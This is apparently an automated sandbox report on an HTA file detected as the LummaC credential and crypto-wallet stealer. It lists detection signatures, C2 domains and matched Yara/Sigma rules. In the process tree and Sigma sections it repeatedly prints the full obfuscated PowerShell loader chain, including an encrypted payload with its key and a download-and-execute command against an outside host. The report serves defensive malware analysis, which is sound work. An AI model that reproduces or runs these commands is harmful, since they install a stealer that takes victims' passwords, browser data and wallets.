Edit tour

Windows Analysis Report
winwidgetshp.mp4.hta

Overview

General Information

Sample name:	winwidgetshp.mp4.hta
Analysis ID:	1579459
MD5:	c3e71edf7d2e73d4d84837aceaac29c7
SHA1:	ac74d41864ebc5faf280c49ef82027a47ef4cabf
SHA256:	a732b675bdf1d9e1a25f8236f6c9dcb79e756a46bdfc84601c01932e1af1795b
Tags:	FakeCaptchaFakeMP4htauser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

Yara detected MSILLoadEncryptedAssembly

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7064 cmdline: mshta.exe "C:\Users\user\Desktop\winwidgetshp.mp4.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 2656 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F7A4C2B014C25A08F51C4F88F54AC90423E9054BC28B1315DD2E1A60D1391C76EED112CDC6F204754F5A5205EDE0E60452F5D8F99E50133A73E99D6E111610504CC3C2C332749FA5022F17C0BE5726446604D480D6F1CE03B718D3723525E2F713F6084FEDEE861F1C477451AAA4DE1C0C2CA11107A3D215341566A170DC382A4642BFA767DC00AF2A7DE717721F19583AC1E0AEDEED698700E2874EA1D5E5A307BDF5513CB550000C01A6C336844CAB950E01B1EA73586EC398AE12D51E7F1938D74FAA15E5FF538324B8D3A10819C846');$nSNd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((htXbx('725944504E776C5A7566715556526E70')),[byte[]]::new(16)).TransformFinalBlock($sMkL,0,$sMkL.Length)); & $nSNd.Substring(0,3) $nSNd.Substring(129) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1428 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1208 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "learningypr.click", "rapeflowwj.lat", "discokeyus.lat", "crosshuaht.lat", "aspecteirs.lat"], "Build id": "jMw1IE--bigJ"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.3505131784.00000000073C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 2656	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1893f7:$b1: ::WriteAllBytes( 0x189c59:$b1: ::WriteAllBytes( 0x5847:$s1: -join 0xd4c5:$s1: -join 0x44f1b:$s1: -join 0x45bd1:$s1: -join 0x4d1ca:$s1: -join 0x4dfe8:$s1: -join 0x6904a:$s1: -join 0x6a9c6:$s1: -join 0x6b7e4:$s1: -join 0x72358:$s1: -join 0x73176:$s1: -join 0x92afe:$s1: -join 0x9392b:$s1: -join 0x94970:$s1: -join 0xabc46:$s1: -join 0xd9de0:$s1: -join 0xe6eb5:$s1: -join 0xea287:$s1: -join 0xea939:$s1: -join
Process Memory Space: powershell.exe PID: 1428	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
Process Memory Space: powershell.exe PID: 1428	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3bd1b:$b2: ::FromBase64String( 0xa7a25d:$b2: ::FromBase64String( 0xbd7e79:$b2: ::FromBase64String( 0x9b6f:$s1: -join 0x15aa9:$s1: -join 0x3b92f:$s1: -join 0x13816d:$s1: -join 0xa79e71:$s1: -join 0xadc4e0:$s1: -join 0xae95b5:$s1: -join 0xaec987:$s1: -join 0xaed039:$s1: -join 0xaeeb2a:$s1: -join 0xaf0d30:$s1: -join 0xaf1557:$s1: -join 0xaf1dc7:$s1: -join 0xaf2502:$s1: -join 0xaf2534:$s1: -join 0xaf257c:$s1: -join 0xaf259b:$s1: -join 0xaf2deb:$s1: -join
Process Memory Space: powershell.exe PID: 1208	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: powershell.exe PID: 1208	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.powershell.exe.73c0000.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

